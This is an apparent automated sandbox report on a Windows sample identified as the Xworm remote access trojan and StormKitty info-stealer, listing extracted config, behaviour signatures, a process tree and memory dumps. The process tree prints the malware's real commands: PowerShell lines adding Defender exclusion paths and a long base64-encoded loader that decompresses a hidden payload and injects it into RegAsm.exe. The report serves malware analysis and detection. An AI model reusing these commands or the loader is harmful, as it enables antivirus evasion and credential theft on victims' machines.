Analysis
- max time kernel
147s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
17/04/2024, 01:15
General
- Target fc91e5e4c357d97b7fcba5d6fa69b869528056d2654e58a6d00a61e5cf942899.exe
- Size 269KB
- Sample240417-bmgesshe97
- SHA256 fc91e5e4c357d97b7fcba5d6fa69b869528056d2654e58a6d00a61e5cf942899
Malware Config
Extracted
-
xworm
-
5.0
-
quh6kDzTMLtsV6q2
-
install_file
USB.exe
-
pastebin_url
https://pastebin.com/raw/zgmeGAte
Signatures
- Detect Xworm Payload 1 IoCs
- StormKitty
StormKitty is an open source info stealer written in C#.
- StormKitty payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 26 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\fc91e5e4c357d97b7fcba5d6fa69b869528056d2654e58a6d00a61e5cf942899.exe"C:\Users\Admin\AppData\Local\Temp\fc91e5e4c357d97b7fcba5d6fa69b869528056d2654e58a6d00a61e5cf942899.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\no.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\no.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInJJUVBHTi5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\rIQPGN.ps1' -Encoding UTF8"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\rIQPGN.ps1"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 24126⤵
- Program crash
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2292 -ip 22921⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_mudze4x5.nm5.ps1
rIQPGN.ps1
no.bat
memory/2292-135-0x0000000006670000-0x0000000006702000-memory.dmp
memory/2292-134-0x0000000005530000-0x0000000005540000-memory.dmp
memory/2292-136-0x0000000006630000-0x000000000663A000-memory.dmp
memory/2292-137-0x0000000008150000-0x000000000815E000-memory.dmp
memory/2292-132-0x00000000751A0000-0x0000000075950000-memory.dmp
memory/2292-138-0x00000000086A0000-0x00000000089F0000-memory.dmp
memory/2292-139-0x000000000A280000-0x000000000A3A0000-memory.dmp
memory/2292-131-0x0000000005670000-0x000000000570C000-memory.dmp
memory/2292-140-0x000000000A3A0000-0x000000000A6F4000-memory.dmp
memory/2292-141-0x00000000082C0000-0x000000000830C000-memory.dmp
memory/2292-180-0x00000000751A0000-0x0000000075950000-memory.dmp
memory/2292-129-0x0000000000400000-0x0000000000410000-memory.dmp
memory/2788-39-0x0000000007970000-0x0000000007984000-memory.dmp
memory/2788-21-0x0000000070F20000-0x0000000070F6C000-memory.dmp
memory/2788-38-0x0000000007960000-0x000000000796E000-memory.dmp
memory/2788-36-0x00000000079B0000-0x0000000007A46000-memory.dmp
memory/2788-40-0x0000000007A70000-0x0000000007A8A000-memory.dmp
memory/2788-41-0x0000000007A50000-0x0000000007A58000-memory.dmp
memory/2788-44-0x0000000074CF0000-0x00000000754A0000-memory.dmp
memory/2788-35-0x00000000077A0000-0x00000000077AA000-memory.dmp
memory/2788-34-0x0000000007730000-0x000000000774A000-memory.dmp
memory/2788-33-0x0000000007D80000-0x00000000083FA000-memory.dmp
memory/2788-32-0x0000000007600000-0x00000000076A3000-memory.dmp
memory/2788-31-0x00000000069E0000-0x00000000069FE000-memory.dmp
memory/2788-0-0x0000000004E80000-0x0000000004EB6000-memory.dmp
memory/2788-37-0x0000000007930000-0x0000000007941000-memory.dmp
memory/2788-1-0x0000000074CF0000-0x00000000754A0000-memory.dmp
memory/2788-20-0x0000000006A00000-0x0000000006A32000-memory.dmp
memory/2788-19-0x0000000004E30000-0x0000000004E40000-memory.dmp
memory/2788-2-0x0000000004E30000-0x0000000004E40000-memory.dmp
memory/2788-18-0x0000000006460000-0x00000000064AC000-memory.dmp
memory/2788-17-0x0000000006420000-0x000000000643E000-memory.dmp
memory/2788-16-0x0000000005F30000-0x0000000006284000-memory.dmp
memory/2788-11-0x0000000005DC0000-0x0000000005E26000-memory.dmp
memory/2788-5-0x0000000005D50000-0x0000000005DB6000-memory.dmp
memory/2788-4-0x0000000005BB0000-0x0000000005BD2000-memory.dmp
memory/2788-3-0x00000000054F0000-0x0000000005B18000-memory.dmp
memory/2996-85-0x0000000000D10000-0x0000000000D59000-memory.dmp
memory/2996-59-0x0000000000D10000-0x0000000000D59000-memory.dmp
memory/3612-61-0x0000000070F20000-0x0000000070F6C000-memory.dmp
memory/3612-72-0x0000000074CF0000-0x00000000754A0000-memory.dmp
memory/3612-60-0x0000000002C70000-0x0000000002C80000-memory.dmp
memory/3612-48-0x0000000005D60000-0x00000000060B4000-memory.dmp
memory/3612-47-0x0000000002C70000-0x0000000002C80000-memory.dmp
memory/3612-46-0x0000000074CF0000-0x00000000754A0000-memory.dmp
memory/3680-128-0x0000000077C01000-0x0000000077D21000-memory.dmp
memory/3680-126-0x0000000006110000-0x0000000006178000-memory.dmp
memory/3680-127-0x0000000002A60000-0x0000000002A6A000-memory.dmp
memory/3680-124-0x0000000007BE0000-0x0000000008184000-memory.dmp
memory/3680-107-0x00000000751A0000-0x0000000075950000-memory.dmp
memory/3680-119-0x0000000005D90000-0x00000000060E4000-memory.dmp
memory/3680-123-0x0000000007420000-0x0000000007442000-memory.dmp
memory/3680-133-0x00000000751A0000-0x0000000075950000-memory.dmp
memory/3680-122-0x0000000002B20000-0x0000000002B30000-memory.dmp
memory/3680-109-0x0000000002B20000-0x0000000002B30000-memory.dmp
memory/3680-108-0x0000000002B20000-0x0000000002B30000-memory.dmp
memory/5080-106-0x00000000751A0000-0x0000000075950000-memory.dmp
memory/5080-89-0x00000000751A0000-0x0000000075950000-memory.dmp
memory/5080-90-0x0000000005190000-0x00000000051A0000-memory.dmp
memory/5080-100-0x0000000005FC0000-0x0000000006314000-memory.dmp
memory/5080-102-0x00000000065B0000-0x00000000065FC000-memory.dmp
memory/5080-103-0x0000000005190000-0x00000000051A0000-memory.dmp